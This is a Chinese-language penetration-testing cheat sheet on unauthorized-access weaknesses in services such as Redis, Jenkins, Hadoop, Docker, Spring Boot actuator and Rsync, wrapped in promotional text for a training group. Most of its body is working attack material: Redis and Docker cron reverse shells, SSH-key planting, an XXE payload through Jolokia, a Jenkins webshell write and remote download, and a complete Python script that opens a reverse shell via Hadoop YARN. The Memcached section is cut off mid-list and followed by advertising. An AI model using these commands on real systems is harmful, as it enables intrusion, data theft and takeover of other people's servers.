一、网安学习成长路线图
网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网安视频合集
观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
三、精品网安学习书籍
当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
四、网络安全源码合集+工具包
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
五、网络安全面试题
最后就是大家最关心的网络安全面试题板块
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
2.1 利用redis写webshell
2.2 利用"公私钥"认证获取root权限
前提:redis是以root身份运行
mkdir /root/.ssh
config set dir /root/.ssh
config set dbfilename authorized_keys
set xxx "\n\n\n本地公钥信息\n\n\n" #"本地公钥信息"替换为自己的公钥信息
save
2.3 crontlab反弹shell
1).攻击者服务器上启动一个监听端口
nc -lvnp 4444
2.)进行写
连接redis,写入反弹shell
redis-cli -h 192.168.0.104 -p 端口
set xxx "\n\n\*/1 \* \* \* \* /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
2.4redis主从复制rce
原理:
Redis实例设置主从模式的时候,Redis的主机实例就可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,进而进行执行拓展的新命令
两个脚本
1).https://github.com/n0b0dyCN/redis-rogue-server
2).https://github.com/Ridter/redis-rce
3.MongoDB未授权访问
概念:MongoDB是一个基于分布式文件存储的数据库,且默认端口
产生原因:
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增删改高危动作)而且可以远程访问数据库
漏洞利用:
ip:端口(访问即可,默认是27017)
工具:
https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe
4.javaMelody
特征:
页面:/monitoring
5.swagger扫描
常见的页面
/swagger-ui.html
/swagger/swagger-ui.html
/api/swagger-ui.html
/v1.x/swagger-ui.html
/swagger/index.html
swagger-ui.html#/api-memory-controller
/swagger/ui/
swagger-ui
6.kibana未授权访问
介绍:可以用kibana搜索、查看存放在Elasticsearch中的数据。默认端口是5601。
fofa:/app/kibana
利用方法:
http://<target_IP>:5601/app/kibana#/
7.spring cloud
Springboot之actuator配置不当的漏洞利用
Http 方法 | 路径 | 描述 |
---|---|---|
get | /autoconfig | 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 |
get | /configprops | 描述配置属性(包含默认值)如何注入 Bean |
get | /beans | 描述应用程序上下文里全部的 Bean,以及它们的关系 |
get | /dump | 获取线程活动的快照 |
get | /env | 获取全部环境属性 |
get | /env/{name} | 根据名称获取特定的环境属性值 |
get | /health | 报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供 |
get | /info | 获取应用程序的定制信息,这些信息由 info 打头的属性提供 |
get | /mappings | 描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系 |
get | /metrics | 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数 |
get | /metrics/{name} | 报告指定名称的应用程序度量值 |
post | /shutdown | 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false) |
get | /trace | 提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等) |
sprigboot判断方法:
①根据title去确定
②根据404页面返回去进行判断
路径漏洞利用:
/jolokia/list#并且返回的json中有“reloadByURL”,关于路径问题:1.x版本的在根路径下注册路由
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性,数据库账户密码泄露,可获取mysql,managodb数据库的用户名和密码
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供,git项目地址泄露,可获取git项目的地址
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)获取用户认证字段信息,,比如如下站点存在 actuator 配置不当漏洞,在其 trace 路径下,除了记录有基本的 HTTP 请求信息(时间戳、HTTP 头等),还有用户 token、cookie 字段
/heapdump 路径 #泄露站点内存信息,很多时候会包含用户的账户和密码
进阶利用
Jolokia利用和env进阶利用思路
利用/jolokia/exec结合起来进行利用
1.xxe
vps的文件
1.fire.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://vps-ip/fire.dtd">%remote;%int;]>
<a>&trick;</a>
2.fire.dtd
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
客户端打payload
target-ip/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps-ip!/fire.xml
8.Elasticsearch未授权访问
漏洞原因:
Elasticsearch是用Java开发的企业级搜索引擎,默认端口9200,存在未授权访问漏洞时,可被非法操作数据
接口:
/_nodes #查看节点数据
/_cat/indices #索引
_cat/indices
/_plugin/head
/_nodes/
/_status
/_search?pretty
9.Jenkis未授权访问
概念:是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。
定位:
漏洞地址(未经授权访问的):
http://192.168.254.151:8080/manage
http://192.168.254.151:8080/script
典型命令
查询当前用户
println "whoami".execute().text
查看ip配置信息
println "ifconfig -a".execute().text
复现方法:
访问manage页面后点击脚本命令行
写shell
new File(“D:\phpstudy_pro\WWW\ma.php”).write(’<?php @eval($\_POST[cmd]);?>’);
利用wget命令远程下载shell
println “wget http://xxx.secpulse.com/tools/back.py -P /tmp/”.execute().text
println “python /tmp/back.py 10.1.1.111 8080”.execute().text
back.py并不需要root权限
poc进行利用漏洞
10.JBoss未授权访问
概念:JBoss是一个基于J2EE的开放源代码的应用服务器。( 个人更加喜欢理解为组件服务器)
漏洞原因:
JBoss默认访问jmx-console页面不需要输入密码,或者默认密码admin/admin
部署马方法
两个思路部署马
批量脚本:
https://github.com/joaomatosf/jexboss
11.Hadoop
概念:是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
定位:
利用payload:
反弹shell结合shell脚本即可
#!/usr/bin/env python
import requests
target = 'http://192.168.92.131:8088/'
lhost = '192.168.10.136' # put your localhost ip here, and listen at port 9999
url = target +'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' %lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
12.VNC未授权访问
概念:VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。
VNC 默认端口号为 5900、5901。
利用方法:
12.1)
安装工具
VNC-Viewer-5.2.0-Windows-32bit.msi
客户端安装包下载链接:
https://pan.baidu.com/s/1phgU95Kfo4W1VboNIB6Mqg 提取码:htq9
安装过程,双击msi文件一路下一步就可以了。
12.2)进行连接
在 VNC 客户端输入目标服务器IP,之后点击确定、连接,即可成功控制目标服务器
修复方法:给vnc配置密码
13.docker未授权访问
漏洞原因:docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。
标识页面:
①页面显示这个
②查看目标基本信息
:2379/version
:2379/info
漏洞利用:
#1.新运行
sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
#2、在容器内执行命令,将反弹shell的脚本写入到
/var/spool/cron/root echo '\* \* \* \* \* /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root
自己vps主机配置
14.Zookeper未授权访问
概念:ZooKeeper是一个分布式的、开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。
漏洞原因:
ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。
漏洞复现:echo envi|nc 192.168.15.74 2181
15.Rsync未授权访问
概念:
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。
漏洞原理:开启了rsync服务但是没设置配置密码,因此攻击者可以读写该服务
漏洞检测:
nmap检测
nmap -p 873 --script rsync-list-modules 192.168.193.128
漏洞复现:
连接后进行执行的常见命令
①查看模块列表
rsync rsync://your-ip:873/
②列出模块下文件
rsync rsync://your-ip:873/src/
③下载文件
rsync -av rsync://your-ip:873/src/etc/passwd
④上传文件
rsync -av shell rsync://your-ip:873/src/etc/cron.d/shell
16.Active MQ 未授权访问
概念:是一款流行的开源消息服务器。默认情况下,ActiveMQ 服务是没有配置安全参数。恶意人员可以利用默认配置弱点发动远程命令执行攻击,获取服务器权限,从而导致数据泄露。
端口:8161
默认账户密码:admin/admin
页面定位:
17.Dubbo 未授权访问
概念:是阿里巴巴公司开源的一个高性能优秀的 服务框架,使得应用可通过高性能的 RPC 实现服务的输 出和输入功能,可以和 Spring框架无缝集成。dubbo 因配置不当导致未授权访问漏洞。
检测方法:
连接接入方法
telent IP port
18.Jupyter Notebook 未授权访问
概念:基于网页的用于交互计算的应用程序。其可被应用于全过程计算:开发、文档编写、运行代码和展示结果
定位:
漏洞复现:
选择 new -> terminal 即可创建一个控制台即可执行命令
19.Kubernetes Api Server 未授权
概念:k8s API Server提供了k8s各类资源对象(pod,RC,Service等)的增删改查及watch等HTTP Rest接口,是整个系统的数据总线和数据中心。
常见路径:
/pods
获取环境变量、运行的容器信息、命名空间等信息。
/ui
获取api的仪表盘
/
直接获取api接口的
定位:
20.Ldap未授权访问
概念:LDAP中文全称为:轻型目录访问协议(Lightweight Directory Access Protocol),默认使用389, LDAP 底层一般使用 TCP 或 UDP 作为传输协议。
检测方法:
ldapbrowser软件
https://ldapbrowserwindows.com/
软件直接连接,获取目录内容。
21.Memcached 未授权访问
本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。
最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。
最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。
学习路线图
其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。
相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。
网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。
项目实战
最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!